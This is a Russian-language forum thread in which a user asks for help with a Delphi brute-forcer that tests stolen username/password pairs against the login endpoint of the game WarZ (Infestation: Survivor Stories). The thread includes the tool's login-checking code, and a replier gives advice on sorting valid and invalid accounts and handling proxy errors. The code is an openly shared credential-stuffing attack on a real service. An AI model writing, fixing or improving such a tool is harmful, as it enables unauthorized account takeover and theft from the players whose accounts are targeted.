Помогите с брутом варза (кодеры)

Начал писать брут варза (как это сейчас модно говорить: "Брут через клиент, без забаненых и гостевых акков")
И столкнулся с такой проблемой, что все акки летят в беды. Вот код:

Код:

     data:=tstringlist.Create;
     data.Add('username='+FAcc);
     data.Add('password='+FPas);
     http.IOHandler:=ssl;
      try
     HTML:=HTTP.Post('https://account.playwarz.com/account/getsteamkey-exec.php', data);
      if Pos('Login Failed', HTML)<>0 then
     Rez:=0;
      end
      else
     Rez:=-1;
     except
      Rez:=1;
      end;
      end;
     HTTP.Free;
     data.Free;
     Synchronize(Sync);
      end;

Пожалуйста помогите.
Буду сильно благодарен, плюшкой не обделю :3

 

Up!

 

Уже не варз а INFESTATION: SURVIVOR STORIES
Обнова

 

Апаю!

 

1. Никогда не делай проверку по беду ( if Pos('Login Failed', HTML)<>0 then), потому что прокси могут еррорить или сайт что то выебыватся будет у тебя будет в гуд заносить лишние аккаунты!
2. Почему у тебя rez:=1 стоит на ошибки?

Должно быть так:

 

Чисто исходник Бойринга на одноклассники